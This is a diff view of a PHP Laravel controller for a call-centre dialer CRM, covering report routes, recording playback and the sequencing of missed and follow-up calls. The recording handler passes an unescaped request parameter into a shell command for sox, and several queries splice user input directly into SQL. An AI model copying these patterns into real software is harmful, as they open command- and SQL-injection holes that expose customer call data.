| 936 | <th>Campaign</th> | ||
| 937 | <th>Group_ID</th> | ||
| 938 | <th>Cust_ID</th> | ||
| 939 | <th>Name</th> | ||
| 940 | <th>Number</th> | ||
| 941 | <th>Type</th> | ||
| 942 | <th>LastCall</th> | ||
| 943 | <th>Disposition</th> | ||
| 944 | <th>NextFollowup</th> | ||
| 945 | <th>Status</th> | ||
| 946 | <th>Count</th> | ||
| 947 | <!--<th></th>--> | ||
| 948 | <th>DID</th> | ||
| 949 | </tr> | ||
| 950 | </thead> | ||
| 951 | <tbody> | ||
| 952 | $rows | ||
| 953 | </table>"; | ||
| 954 | return Response::make($data); | ||
| 955 | } | ||
| 956 | if($id=="reports") | ||
| 957 | { | ||
| 958 | return view("layout.module.dialer.reports",array()); | ||
| 959 | } | ||
| 960 | if($id=="campaigns") | ||
| 961 | { | ||
| 962 | return view("layout.module.dialer.campaigns",array()); | ||
| 963 | } | ||
| 964 | if($id=="calllog") | ||
| 965 | { | ||
| 966 | return view("layout.module.dialer.calllog",array()); | ||
| 967 | } | ||
| 968 | if($id=="agentreport") | ||
| 969 | { | ||
| 970 | return view("layout.module.dialer.agentreport",array()); | ||
| 971 | } | ||
| 972 | if($id=="campreport") | ||
| 973 | { | ||
| 974 | return view("layout.module.dialer.campreport",array()); | ||
| 975 | } | ||
| 976 | if($id=="statusreport") | ||
| 977 | { | ||
| 978 | return view("layout.module.dialer.statusreport",array()); | ||
| 979 | } | ||
| 980 | if($id=="questionnaire") | ||
| 981 | { | ||
| 982 | return view("layout.module.dialer.questairereport",array()); | ||
| 983 | } | ||
| 984 | if($id=="callmanagement") | ||
| 985 | { | ||
| 986 | return view("layout.module.dialer.callmanagementreport",array()); | ||
| 987 | } | ||
| 988 | if($id=="supmessages") | ||
| 989 | { | ||
| 990 | return view("layout.module.dialer.supmessagesreport",array()); | ||
| 991 | } | ||
| 992 | |||
| 993 | if($id=='playrecfile') | ||
| 994 | { | ||
| 995 | $calllog=CRMCallArchive::find(Input::get("calllog")); | ||
| 996 | |||
| 997 | $file=$calllog->getRecFilePath(); | ||
| 998 | $ext=$calllog->getRecFileExt(); | ||
| 999 | if($ext=='wav') | ||
| 1000 | { | ||
| 1001 | header('Content-type: audio/x-wav'); | ||
| 1002 | header("Content-length: ".filesize($file)); | ||
| 1003 | header("Content-disposition: attachment; filename=\"".basename($file)."\""); | ||
| 1004 | readfile("$file"); | ||
| 1005 | } | ||
| 1006 | if($ext=='gsm') | ||
| 1007 | { | ||
| 1008 | $out=Input::get("out","ogg"); | ||
| 1009 | |||
| 1010 | header("Content-type: audio/x-$out"); | ||
| 1011 | header("Content-disposition: attachment; filename=\"".basename($file).".$out\""); | ||
| 1012 | $descriptorspec = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w")); | ||
| 1013 | $process = proc_open( "/usr/bin/sox $file /tmp/".basename($file).".$out", $descriptorspec, $pipes ); | ||
| 1014 | while( stream_get_contents( $pipes[1] )); | ||
| 1015 | header("Content-length: ".filesize("/tmp/".basename($file).".$out")); | ||
| 1016 | readfile("/tmp/".basename($file).".$out");unlink("/tmp/".basename($file).".$out"); | ||
| 1017 | fclose( $pipes[1] ); | ||
| 1018 | fclose( $pipes[2] ); | ||
| 1019 | } | ||
| 1020 | return; | ||
| 1021 | } | ||
| 1022 | if($id=="liveusers") | ||
| 1023 | { | ||
| 1024 | return view("layout.module.dialer.liveusers",array()); | ||
| 1025 | } | ||
| 1026 | if($id=="recarchive") | ||
| 1027 | { | ||
| 1028 | return view("layout.module.dialer.recarchive",array()); | ||
| 1029 | } | ||
| 1030 | if($id=="recqc") | ||
| 1031 | { | ||
| 1032 | return view("layout.module.dialer.recqc",array()); | ||
| 1033 | } | ||
| 1034 | return view("layout.module.dialer.$id",array()); | ||
| 1035 | } | ||
| 1036 | public function edit($id) | ||
| 1037 | { | ||
| 1038 | |||
| 1039 | } | ||
| 1040 | public function update($id) | ||
| 1041 | { | ||
| 1042 | |||
| 1043 | } | ||
| 1044 | public function destroy($id) | ||
| 1045 | { | ||
| 1046 | // | ||
| 1047 | } | ||
| 1048 | |||
| 1049 | |||
| 1050 | public function dashboard() | ||
| 1051 | { | ||
| 1052 | //echo "OK"; | ||
| 1053 | } | ||
| 1054 | |||
| 1055 | private function getCallSequencing($limit) | ||
| 1056 | { | ||
| 1057 | $wakka = new KHRMSLib(); | ||
| 1058 | |||
| 1059 | $roclientstr=array();$didlinesstr=array(); | ||
| 1060 | if(Auth::user()->exten!="")$didlinesstr[]=Auth::user()->exten; | ||
| 1061 | $oclientlst=$wakka->clientsOwnerRWAccess(); | ||
| 1062 | if(!empty($oclientlst))foreach($oclientlst as $tclnt)if($tclnt!="") | ||
| 1063 | { | ||
| 1064 | $roclientstr[]="'$tclnt'"; | ||
| 1065 | |||
| 1066 | $mastersdata=$wakka->getCompanyMaster($tclnt); | ||
| 1067 | if(!empty($mastersdata["DialerDID"]))$didlinesstr[]=$mastersdata["DialerDID"]; | ||
| 1068 | } | ||
| 1069 | |||
| 1070 | $mroclientstr = $roclientstr; | ||
| 1071 | |||
| 1072 | if($limit==20) | ||
| 1073 | { | ||
| 1074 | $croclientstr=array(); | ||
| 1075 | $client=Input::get("client",""); | ||
| 1076 | $croclientstr[]="'$client'"; | ||
| 1077 | |||
| 1078 | if(!empty($roclientstr))$roclientstr="client in (".implode(",",$croclientstr).")";else $roclientstr=""; | ||
| 1079 | } | ||
| 1080 | else | ||
| 1081 | if(!empty($roclientstr))$roclientstr="client in (".implode(",",$roclientstr).")";else $roclientstr=""; | ||
| 1082 | |||
| 1083 | $users=array(); | ||
| 1084 | |||
| 1085 | if(Auth::user()->id=="1") | ||
| 1086 | if(!empty($roclientstr))$roclientstr="client=''";else $roclientstr=""; | ||
| 1087 | |||
| 1088 | $clientDetails=$wakka->getPersons("$roclientstr order by dialer_lastcall asc"); | ||
| 1089 | |||
| 1090 | if($limit>0) | ||
| 1091 | { | ||
| 1092 | $tusers = array_filter($clientDetails, function($var){ | ||
| 1093 | return ($var['dialer_status']=='InboundDROP'); | ||
| 1094 | }); | ||
| 1095 | |||
| 1096 | $l=1; | ||
| 1097 | foreach($tusers as $tuser){ | ||
| 1098 | if(!isset($users[$tuser['id']])){ | ||
| 1099 | $users[$tuser['id']]=$tuser; | ||
| 1100 | $l++; | ||
| 1101 | |||
| 1102 | if($l>$limit) | ||
| 1103 | break; | ||
| 1104 | } | ||
| 1105 | } | ||
| 1106 | |||
| 1107 | $limit=$limit-sizeof($tusers); | ||
| 1108 | } | ||
| 1109 | |||
| 1110 | if(Auth::user()->id!="1"){ | ||
| 1111 | |||
| 1112 | if($limit>0) | ||
| 1113 | { | ||
| 1114 | if(!empty($didlinesstr)) | ||
| 1115 | { | ||
| 1116 | $udidlinesstr = array(); | ||
| 1117 | foreach($didlinesstr as $didlinestr){ | ||
| 1118 | $didlinestrArr=explode(":",$didlinestr); | ||
| 1119 | $udidlinesstr[] = substr($didlinestrArr[0], -8); | ||
| 1120 | } | ||
| 1121 | $tusers=array(); | ||
| 1122 | |||
| 1123 | $mc=CRMCall::where('userstatus','=','InboundDROP')->where('created_at','>',date('Y-m-d H:i:s',time()-(7*24*60*60))); | ||
| 1124 | $mc=$mc->where(function ($query) use($mroclientstr,$udidlinesstr){ | ||
| 1125 | $query->orWhereIn('client',$mroclientstr)->orWhereIn('did',$udidlinesstr); | ||
| 1126 | }); | ||
| 1127 | $mc=$mc->get(); | ||
| 1128 | |||
| 1129 | $number_list=array(); | ||
| 1130 | foreach($mc as $key=>$tcall){ | ||
| 1131 | |||
| 1132 | $tccal=substr($tcall->number,-10); | ||
| 1133 | $mc_number=CRMCall::where('userstatus','!=','InboundDROP') | ||
| 1134 | ->where('created_at','>',$tcall->created_at) | ||
| 1135 | ->where('number','like',"%".$tccal."%") | ||
| 1136 | ->orderBy("id","DESC") | ||
| 1137 | ->first(); | ||
| 1138 | |||
| 1139 | $mccount= count($mc_number); | ||
| 1140 | if($mccount==0){ | ||
| 1141 | $number_list[] = $tcall->number; | ||
| 1142 | } | ||
| 1143 | } | ||
| 1144 | |||
| 1145 | $othermissedcalls=DB::select("SELECT * FROM crmcalls where id in (SELECT max(id) FROM crmcalls WHERE number IN | ||
| 1146 | ('" . implode("','", $number_list). "') GROUP BY number )"); | ||
| 1147 | |||
| 1148 | // $othermissedcalls=CRMCall::where('crm_id','=','0')->where('userstatus','=','InboundDROP')->where('did','like','%'.$didlinesstr.'%')->where('created_at','>',date('Y-m-d H:i:s',time()-(7*24*60*60)))->take($limit)->groupBy('number')->get(); | ||
| 1149 | |||
| 1150 | /* Changes For Missed Call - 14/02/17 */ | ||
| 1151 | |||
| 1152 | foreach($othermissedcalls as $othermissedcall) | ||
| 1153 | { | ||
| 1154 | $crmnumber = substr($othermissedcall->number, -10); | ||
| 1155 | |||
| 1156 | $tcall=array_filter($clientDetails, function($var) use ($crmnumber){ | ||
| 1157 | return ($var['mobile']==$crmnumber); | ||
| 1158 | }); | ||
| 1159 | |||
| 1160 | if($tcall) | ||
| 1161 | { | ||
| 1162 | $tcall = array_values($tcall); | ||
| 1163 | $tcall = $tcall[0]; | ||
| 1164 | |||
| 1165 | if(isset($tcall['id']) || $tcall['dialer_status']=="InboundDROP") | ||
| 1166 | { | ||
| 1167 | $tusers[$othermissedcall->id]=array('id'=>$tcall['id'],'mobile'=>$othermissedcall->number,'client'=>$tcall['client'],'clientcode'=>$tcall['clientcode'],'clientinternalid'=>$tcall['clientinternalid'], 'firstname'=>$tcall['firstname'],'callid'=>$othermissedcall->id); | ||
| 1168 | } | ||
| 1169 | } | ||
| 1170 | |||
| 1171 | } | ||
| 1172 | |||
| 1173 | /* Changes For Missed Call - 14/02/17 */ | ||
| 1174 | |||
| 1175 | foreach($tusers as $tuser)if(!isset($users[$tuser['id']]))$users[$tuser['id']]=$tuser; | ||
| 1176 | |||
| 1177 | $limit=$limit-sizeof($tusers); | ||
| 1178 | } | ||
| 1179 | } | ||
| 1180 | |||
| 1181 | |||
| 1182 | }else{ | ||
| 1183 | |||
| 1184 | if($limit>0) | ||
| 1185 | { | ||
| 1186 | if(!empty($didlinesstr)) | ||
| 1187 | { | ||
| 1188 | $udidlinesstr = array(); | ||
| 1189 | foreach($didlinesstr as $didlinestr){ | ||
| 1190 | $didlinestrArr=explode(":",$didlinestr); | ||
| 1191 | $udidlinesstr[] = substr($didlinestrArr[0], -8); | ||
| 1192 | } | ||
| 1193 | |||
| 1194 | $tusers=array(); | ||
| 1195 | |||
| 1196 | $othermissedcalls=CRMCall::where('crm_id','=','0')->where('userstatus','=','InboundDROP')->whereIn('did',$udidlinesstr)->where('created_at','>',date('Y-m-d H:i:s',time()-(7*24*60*60)))->take($limit)->groupBy('number')->get(); | ||
| 1197 | |||
| 1198 | /* Changes For Missed Call - 14/02/17 */ | ||
| 1199 | |||
| 1200 | foreach($othermissedcalls as $othermissedcall) | ||
| 1201 | { | ||
| 1202 | $crmnumber = $othermissedcall->number; | ||
| 1203 | |||
| 1204 | $tcall=array_filter($clientDetails, function($var) use ($crmnumber){ | ||
| 1205 | return ($var['mobile']==$crmnumber); | ||
| 1206 | }); | ||
| 1207 | |||
| 1208 | if($tcall) | ||
| 1209 | { | ||
| 1210 | $tcall = array_values($tcall); | ||
| 1211 | $tcall = $tcall[0]; | ||
| 1212 | |||
| 1213 | if($tcall['id']&&$tcall['dialer_status']=="InboundDROP") | ||
| 1214 | { | ||
| 1215 | $tusers[$othermissedcall->id]=array('id'=>$tcall['id'],'mobile'=>$othermissedcall->number,'client'=>$tcall['client'],'clientcode'=>$tcall['clientcode'],'clientinternalid'=>$tcall['clientinternalid'],'callid'=>$othermissedcall->id); | ||
| 1216 | } | ||
| 1217 | } | ||
| 1218 | |||
| 1219 | } | ||
| 1220 | |||
| 1221 | /* Changes For Missed Call - 14/02/17 */ | ||
| 1222 | |||
| 1223 | foreach($tusers as $tuser)if(!isset($users[$tuser['id']]))$users[$tuser['id']]=$tuser; | ||
| 1224 | |||
| 1225 | $limit=$limit-sizeof($tusers); | ||
| 1226 | } | ||
| 1227 | } | ||
| 1228 | |||
| 1229 | }//Testing - Else | ||
| 1230 | |||
| 1231 | if($limit>0) | ||
| 1232 | { | ||
| 1233 | $tusers = array_filter($clientDetails, function($var){ | ||
| 1234 | return (strtotime($var['dialer_callback'])<strtotime(date('Y-m-d H:i:s',time()+(15*60)))&&$var['dialer_status']=='Contacted - FollowUp - Specific'); | ||
| 1235 | }); | ||
| 1236 | |||
| 1237 | $l=1; | ||
| 1238 | foreach($tusers as $tuser){ | ||
| 1239 | if(!isset($users[$tuser['id']])){ | ||
| 1240 | $users[$tuser['id']]=$tuser; | ||
| 1241 | $l++; | ||
| 1242 | |||
| 1243 | if($l>$limit) | ||
| 1244 | break; | ||
| 1245 | } | ||
| 1246 | } | ||
| 1247 | |||
| 1248 | $limit=$limit-sizeof($tusers); | ||
| 1249 | } | ||
| 1250 | |||
| 1251 | // if(Auth::user()->id=="49"){ | ||
| 1252 | |||
| 1253 | for($p=10;$p>0;$p--) | ||
| 1254 | { | ||
| 1255 | if($limit>0) | ||
| 1256 | { | ||
| 1257 | $tusers = array_filter($clientDetails, function($var) use ($p){ | ||
| 1258 | return (($var['priority']==$p)&&$var['mobile']!=''); | ||
| 1259 | }, ARRAY_FILTER_USE_BOTH); | ||
| 1260 | |||
| 1261 | if(!empty($tusers)) | ||
| 1262 | { | ||
| 1263 | $l=1; | ||
| 1264 | foreach($tusers as $tuser){ | ||
| 1265 | if(!isset($users[$tuser['id']])){ | ||
| 1266 | $users[$tuser['id']]=$tuser; | ||
| 1267 | $l++; | ||
| 1268 | |||
| 1269 | if($l>$limit) | ||
| 1270 | break; | ||
| 1271 | } | ||
| 1272 | } | ||
| 1273 | |||
| 1274 | $limit=$limit-sizeof($tusers); | ||
| 1275 | } | ||
| 1276 | } | ||
| 1277 | } | ||
| 1278 | |||
| 1279 | // } | ||
| 1280 | if($limit>0) | ||
| 1281 | { | ||
| 1282 | $tusers = array_filter($clientDetails, function($var){ | ||
| 1283 | return ($var['status']=='New'&&$var['mobile']!=''); | ||
| 1284 | }); | ||
| 1285 | |||
| 1286 | $l=1; | ||
| 1287 | foreach($tusers as $tuser){ | ||
| 1288 | if(!isset($users[$tuser['id']])){ | ||
| 1289 | $users[$tuser['id']]=$tuser; | ||
| 1290 | $l++; | ||
| 1291 | |||
| 1292 | if($l>$limit) | ||
| 1293 | break; | ||
| 1294 | } | ||
| 1295 | } | ||
| 1296 | |||
| 1297 | $limit=$limit-sizeof($tusers); | ||
| 1298 | } | ||
| 1299 | |||
| 1300 | if($limit>0) | ||
| 1301 | { | ||
| 1302 | $tusers = array_filter($clientDetails, function($var){ | ||
| 1303 | return ($var['status']=='Called'&&$var['dialer_status']=='Not Contactable - Non Human Voice'); | ||
| 1304 | }); | ||
| 1305 | |||
| 1306 | $l=1; | ||
| 1307 | foreach($tusers as $tuser){ | ||
| 1308 | if(!isset($users[$tuser['id']])){ | ||
| 1309 | $users[$tuser['id']]=$tuser; | ||
| 1310 | $l++; | ||
| 1311 | |||
| 1312 | if($l>$limit) | ||
| 1313 | break; | ||
| 1314 | } | ||
| 1315 | } | ||
| 1316 | |||
| 1317 | $limit=$limit-sizeof($tusers); | ||
| 1318 | } | ||
| 1319 | |||
| 1320 | if($limit>0) | ||
| 1321 | { | ||
| 1322 | $tusers = array_filter($clientDetails, function($var){ | ||
| 1323 | return ($var['status']=='Called'&&$var['dialer_status']=='Not Contactable - Human Voice'); | ||
| 1324 | }); | ||
| 1325 | $l=1; | ||
| 1326 | foreach($tusers as $tuser){ | ||
| 1327 | if(!isset($users[$tuser['id']])){ | ||
| 1328 | $users[$tuser['id']]=$tuser; | ||
| 1329 | $l++; | ||
| 1330 | |||
| 1331 | if($l>$limit) | ||
| 1332 | break; | ||
| 1333 | } | ||
| 1334 | } | ||
| 1335 | |||
| 1336 | $limit=$limit-sizeof($tusers); | ||
| 1337 | } | ||
| 1338 | |||
| 1339 | if($limit>0) | ||
| 1340 | { | ||
| 1341 | $tusers = array_filter($clientDetails, function($var){ | ||
| 1342 | return ($var['status']=='Called'&&$var['dialer_status']=='Contacted - Follow-Up - Generic'); | ||
| 1343 | }); | ||
| 1344 | $l=1; | ||
| 1345 | foreach($tusers as $tuser){ | ||
| 1346 | if(!isset($users[$tuser['id']])){ | ||
| 1347 | $users[$tuser['id']]=$tuser; | ||
| 1348 | $l++; | ||
| 1349 | |||
| 1350 | if($l>$limit) | ||
| 1351 | break; | ||
| 1352 | } | ||
| 1353 | } | ||
| 1354 | |||
| 1355 | $limit=$limit-sizeof($tusers); | ||
| 1356 | } | ||
| 1357 | |||
| 1358 | if($limit>0) | ||
| 1359 | { | ||
| 1360 | $tusers = array_filter($clientDetails, function($var){ | ||
| 1361 | return ($var['status']=='Called'&&$var['dialer_status']=='AUTOWRAPUP'); | ||
| 1362 | }); | ||
| 1363 | $l=1; | ||
| 1364 | foreach($tusers as $tuser){ | ||
| 1365 | if(!isset($users[$tuser['id']])){ | ||
| 1366 | $users[$tuser['id']]=$tuser; | ||
| 1367 | $l++; | ||
| 1368 | |||
| 1369 | if($l>$limit) | ||
| 1370 | break; | ||
| 1371 | } | ||
| 1372 | } | ||
| 1373 | |||
| 1374 | $limit=$limit-sizeof($tusers); | ||
| 1375 | } | ||
| 1376 | |||
| 1377 | $tusers=array();foreach($users as $tuser)$tusers[]=$tuser; | ||
| 1378 | return $tusers; | ||
| 1379 | } | ||
| 1380 | } |
application/app/Http/Controllers/1
100755 → 100644
File mode changed
application/app/Http/Controllers/AdminController.php
100755 → 100644
File mode changed
application/app/Http/Controllers/Auth/AuthController.php
100755 → 100644
File mode changed
application/app/Http/Controllers/Auth/PasswordController.php
100755 → 100644
File mode changed
application/app/Http/Controllers/ComplaintController.php
100755 → 100644
File mode changed
application/app/Http/Controllers/Controller.php
100755 → 100644
File mode changed
application/app/Http/Controllers/DashboardController.php
100755 → 100644
File mode changed
application/app/Http/Controllers/DialModeController.php
100755 → 100644
File mode changed
| ... | @@ -56,6 +56,9 @@ class DialerController extends Controller { | ... | @@ -56,6 +56,9 @@ class DialerController extends Controller { |
| 56 | if(!empty($oclientlst))foreach($oclientlst as $tclnt)if($tclnt!=""){$roclientstr[]="'$tclnt'";} | 56 | if(!empty($oclientlst))foreach($oclientlst as $tclnt)if($tclnt!=""){$roclientstr[]="'$tclnt'";} |
| 57 | 57 | ||
| 58 | if(!empty($roclientstr))$roclientstr="and client in (".implode(",",$roclientstr).")";else $roclientstr=""; | 58 | if(!empty($roclientstr))$roclientstr="and client in (".implode(",",$roclientstr).")";else $roclientstr=""; |
| 59 | //$client=Input::get("client"); | ||
| 60 | /*if($client!="")$roclientstr="and client='".$client."'"; | ||
| 61 | else $roclientstr="";*/ | ||
| 59 | 62 | ||
| 60 | $users=array();$searchresult=""; | 63 | $users=array();$searchresult=""; |
| 61 | if(!empty($kstychCall["previewcrmid"]))$users=$wakka->getPersons("id='".$kstychCall["previewcrmid"]."' $roclientstr limit 1"); | 64 | if(!empty($kstychCall["previewcrmid"]))$users=$wakka->getPersons("id='".$kstychCall["previewcrmid"]."' $roclientstr limit 1"); |
| ... | @@ -86,8 +89,12 @@ class DialerController extends Controller { | ... | @@ -86,8 +89,12 @@ class DialerController extends Controller { |
| 86 | 89 | ||
| 87 | $roclientstr=array(); | 90 | $roclientstr=array(); |
| 88 | $oclientlst=$wakka->clientsReadAccess(); | 91 | $oclientlst=$wakka->clientsReadAccess(); |
| 89 | foreach($oclientlst as $tclnt)if($tclnt!=""){$roclientstr[]="'$tclnt'";} | 92 | if(!empty($oclientlst))foreach($oclientlst as $tclnt)if($tclnt!=""){$roclientstr[]="'$tclnt'";} |
| 90 | if(!empty($roclientstr))$roclientstr="and client in (".implode(",",$roclientstr).")";else $roclientstr=""; | 93 | if(!empty($roclientstr))$roclientstr="and client in (".implode(",",$roclientstr).")";else $roclientstr=""; |
| 94 | //$client=Input::get("client"); | ||
| 95 | /*if($client!="")$roclientstr="and client='".$client."'"; | ||
| 96 | else $roclientstr="";*/ | ||
| 97 | |||
| 91 | 98 | ||
| 92 | $users=array();$callnumber=$kstychCall['callnumber']; | 99 | $users=array();$callnumber=$kstychCall['callnumber']; |
| 93 | //code by prashant Jadhav for manual calls on alternate number and same mobile number assign to different records then it shows another customer info while dialing-------- | 100 | //code by prashant Jadhav for manual calls on alternate number and same mobile number assign to different records then it shows another customer info while dialing-------- |
| ... | @@ -116,17 +123,7 @@ class DialerController extends Controller { | ... | @@ -116,17 +123,7 @@ class DialerController extends Controller { |
| 116 | altphone8 like '%".substr($callnumber,-10)."' OR | 123 | altphone8 like '%".substr($callnumber,-10)."' OR |
| 117 | altphone9 like '%".substr($callnumber,-10)."' OR | 124 | altphone9 like '%".substr($callnumber,-10)."' OR |
| 118 | altphone10 like '%".substr($callnumber,-10)."') and id=$crmid $roclientstr "); | 125 | altphone10 like '%".substr($callnumber,-10)."') and id=$crmid $roclientstr "); |
| 119 | /*$tusers=$wakka->getPersonIDs("(mobile like '%".substr($callnumber,-10)."' OR | 126 | |
| 120 | altphone1 like '%$callnumber' OR | ||
| 121 | altphone2 like '%$callnumber' OR | ||
| 122 | altphone3 like '%$callnumber' OR | ||
| 123 | altphone4 like '%$callnumber' OR | ||
| 124 | altphone5 like '%$callnumber' OR | ||
| 125 | altphone6 like '%$callnumber' OR | ||
| 126 | altphone7 like '%$callnumber' OR | ||
| 127 | altphone8 like '%$callnumber' OR | ||
| 128 | altphone9 like '%$callnumber' OR | ||
| 129 | altphone10 like '%$callnumber') and id=$crmid ");*/ | ||
| 130 | 127 | ||
| 131 | } | 128 | } |
| 132 | else | 129 | else |
| ... | @@ -142,17 +139,7 @@ class DialerController extends Controller { | ... | @@ -142,17 +139,7 @@ class DialerController extends Controller { |
| 142 | altphone8 like '%".substr($callnumber,-10)."' OR | 139 | altphone8 like '%".substr($callnumber,-10)."' OR |
| 143 | altphone9 like '%".substr($callnumber,-10)."' OR | 140 | altphone9 like '%".substr($callnumber,-10)."' OR |
| 144 | altphone10 like '%".substr($callnumber,-10)."' $roclientstr"); | 141 | altphone10 like '%".substr($callnumber,-10)."' $roclientstr"); |
| 145 | /*$tusers=$wakka->getPersonIDs("mobile like '%".substr($callnumber,-10)."' OR | 142 | |
| 146 | altphone1 like '%$callnumber' OR | ||
| 147 | altphone2 like '%$callnumber' OR | ||
| 148 | altphone3 like '%$callnumber' OR | ||
| 149 | altphone4 like '%$callnumber' OR | ||
| 150 | altphone5 like '%$callnumber' OR | ||
| 151 | altphone6 like '%$callnumber' OR | ||
| 152 | altphone7 like '%$callnumber' OR | ||
| 153 | altphone8 like '%$callnumber' OR | ||
| 154 | altphone9 like '%$callnumber' OR | ||
| 155 | altphone10 like '%$callnumber' ");*/ | ||
| 156 | } | 143 | } |
| 157 | 144 | ||
| 158 | /*if($crmid!=""){ | 145 | /*if($crmid!=""){ |
| ... | @@ -177,16 +164,16 @@ class DialerController extends Controller { | ... | @@ -177,16 +164,16 @@ class DialerController extends Controller { |
| 177 | altphone8 like '%$callnumber' OR | 164 | altphone8 like '%$callnumber' OR |
| 178 | altphone9 like '%$callnumber' OR | 165 | altphone9 like '%$callnumber' OR |
| 179 | altphone10 like '%$callnumber' ) and id in ($idstr) $roclientstr"); | 166 | altphone10 like '%$callnumber' ) and id in ($idstr) $roclientstr"); |
| 180 | //code end by prashant Jadhav for manual calls on alternate number | 167 | //code end by prashant Jadhav for manual calls on alternate number |
| 181 | 168 | ||
| 182 | // if(!$users) | 169 | // if(!$users) |
| 183 | // { | 170 | // { |
| 184 | // for($i=1;$i<=10;$i++) | 171 | // for($i=1;$i<=10;$i++) |
| 185 | // { | 172 | // { |
| 186 | // $users=$wakka->getPersons("altphone$i = '$callnumber' $roclientstr"); | 173 | // $users=$wakka->getPersons("altphone$i = '$callnumber' $roclientstr"); |
| 187 | // if(!empty($users))break; | 174 | // if(!empty($users))break; |
| 188 | // } | 175 | // } |
| 189 | // } | 176 | // } |
| 190 | 177 | ||
| 191 | if(!$users) | 178 | if(!$users) |
| 192 | { | 179 | { |
| ... | @@ -310,8 +297,7 @@ class DialerController extends Controller { | ... | @@ -310,8 +297,7 @@ class DialerController extends Controller { |
| 310 | return Response::make($searchresult."<script>kstychCall['crmid']=0;kSetDData('C','previewcrmid','');simpleNotification('error','topRight','Multiple Records Found!');createSearchRecordDiv('dialersearchbox');</script>"); | 297 | return Response::make($searchresult."<script>kstychCall['crmid']=0;kSetDData('C','previewcrmid','');simpleNotification('error','topRight','Multiple Records Found!');createSearchRecordDiv('dialersearchbox');</script>"); |
| 311 | } | 298 | } |
| 312 | } | 299 | } |
| 313 | else return Response::make($searchresult."<script>kstychCall['crmid']=0;kSetDData('C','previewcrmid','');simpleNotification('error','topRight','No Records Found!');createSearchRecordDiv('dialersearchbox');</script>"); | 300 | } |
| 314 | } | ||
| 315 | 301 | ||
| 316 | if($action=="addconfcall") | 302 | if($action=="addconfcall") |
| 317 | { | 303 | { |
| ... | @@ -540,7 +526,7 @@ if($action=="closecall") | ... | @@ -540,7 +526,7 @@ if($action=="closecall") |
| 540 | $tuser['peopledata']["dialer_status"]=$kstychCall["userstatus"]; | 526 | $tuser['peopledata']["dialer_status"]=$kstychCall["userstatus"]; |
| 541 | $tuser['peopledata']["dialer_substatus"]=$kstychCall["usersubstatus"]; | 527 | $tuser['peopledata']["dialer_substatus"]=$kstychCall["usersubstatus"]; |
| 542 | $tuser['peopledata']["dialer_callback"]=$kstychCall["usercallback"]; | 528 | $tuser['peopledata']["dialer_callback"]=$kstychCall["usercallback"]; |
| 543 | $tuser['peopledata']["dialer_remarks"]=str_replace("'","",kstychCall["userremarks"]); | 529 | $tuser['peopledata']["dialer_remarks"]=str_replace("'","",$kstychCall["userremarks"]); |
| 544 | $tuser['peopledata']["dialer_flag"]=$kstychCall["userflag"]; | 530 | $tuser['peopledata']["dialer_flag"]=$kstychCall["userflag"]; |
| 545 | 531 | ||
| 546 | $tuser["bttc"]=$kstychCall["bttc_day"].":".$kstychCall["bttc_hrs"]; | 532 | $tuser["bttc"]=$kstychCall["bttc_day"].":".$kstychCall["bttc_hrs"]; |
| ... | @@ -580,8 +566,14 @@ if($action=="closecall") | ... | @@ -580,8 +566,14 @@ if($action=="closecall") |
| 580 | $user['peopledata']["final_call_assessment"]=$kstychCall["final_call_assess"]; | 566 | $user['peopledata']["final_call_assessment"]=$kstychCall["final_call_assess"]; |
| 581 | 567 | ||
| 582 | // For Add Priority Snippet In Waterfall Bucket | 568 | // For Add Priority Snippet In Waterfall Bucket |
| 583 | if($user['peopledata']["priority"]) | 569 | if($user['peopledata']["priority"]){ |
| 570 | $crmcall->priority=$user['peopledata']["priority"];//as per BIU requirement added By Prashant Jadhav | ||
| 584 | $user['peopledata']["priority"] = ''; | 571 | $user['peopledata']["priority"] = ''; |
| 572 | } | ||
| 573 | //as per BIU requirement added By Prashant Jadhav | ||
| 574 | if($user['peopledata']["question"]){ | ||
| 575 | $crmcall->question=$user['peopledata']["question"]; | ||
| 576 | } | ||
| 585 | 577 | ||
| 586 | if($user['peopledata']["mf_isa"]) | 578 | if($user['peopledata']["mf_isa"]) |
| 587 | $user['peopledata']["mf_isa"] = ''; | 579 | $user['peopledata']["mf_isa"] = ''; |
| ... | @@ -1332,7 +1324,8 @@ public function show($id) | ... | @@ -1332,7 +1324,8 @@ public function show($id) |
| 1332 | 1324 | ||
| 1333 | // if(!empty($roclientstr))$roclientstr="client=''";else $roclientstr=""; | 1325 | // if(!empty($roclientstr))$roclientstr="client=''";else $roclientstr=""; |
| 1334 | 1326 | ||
| 1335 | $clientDetails=$wakka->getPersons("$roclientstr order by dialer_lastcall asc"); | 1327 | //$clientDetails=$wakka->getPersons("$roclientstr order by dialer_lastcall asc"); |
| 1328 | $clientDetails=$wakka->getPersonshome("$roclientstr order by dialer_lastcall asc"); | ||
| 1336 | 1329 | ||
| 1337 | if($limit>0) | 1330 | if($limit>0) |
| 1338 | { | 1331 | { |
| ... | @@ -1361,7 +1354,7 @@ public function show($id) | ... | @@ -1361,7 +1354,7 @@ public function show($id) |
| 1361 | $udidlinesstr = array(); | 1354 | $udidlinesstr = array(); |
| 1362 | foreach($didlinesstr as $didlinestr){ | 1355 | foreach($didlinesstr as $didlinestr){ |
| 1363 | $didlinestrArr=explode(":",$didlinestr); | 1356 | $didlinestrArr=explode(":",$didlinestr); |
| 1364 | $udidlinesstr[] = substr($didlinestrArr[0], -8); | 1357 | $udidlinesstr[] = substr($didlinestrArr[0], env('didnumber')); |
| 1365 | } | 1358 | } |
| 1366 | $tusers=array(); | 1359 | $tusers=array(); |
| 1367 | 1360 | ... | ... |
application/app/Http/Controllers/GroupController.php
100755 → 100644
File mode changed
application/app/Http/Controllers/HRController.php
100755 → 100644
File mode changed
application/app/Http/Controllers/HomeController.php
100755 → 100644
| ... | @@ -103,69 +103,69 @@ class HomeController extends Controller { | ... | @@ -103,69 +103,69 @@ class HomeController extends Controller { |
| 103 | $cliarr['keepconf']=Config::get("app.kDialer_keeplocalconf"); | 103 | $cliarr['keepconf']=Config::get("app.kDialer_keeplocalconf"); |
| 104 | //get a free sip id | 104 | //get a free sip id |
| 105 | /* | 105 | /* |
| 106 | $sipid=Sipid::where("status","=","1")->where('user','=',$user->id)->where('clients','!=','')->get(); | 106 | $sipid=Sipid::where("status","=","1")->where('user','=',$user->id)->where('clients','!=','')->get(); |
| 107 | //echo count($sipid)." => "; | 107 | //echo count($sipid)." => "; |
| 108 | foreach ($sipid as $sip) { | 108 | foreach ($sipid as $sip) { |
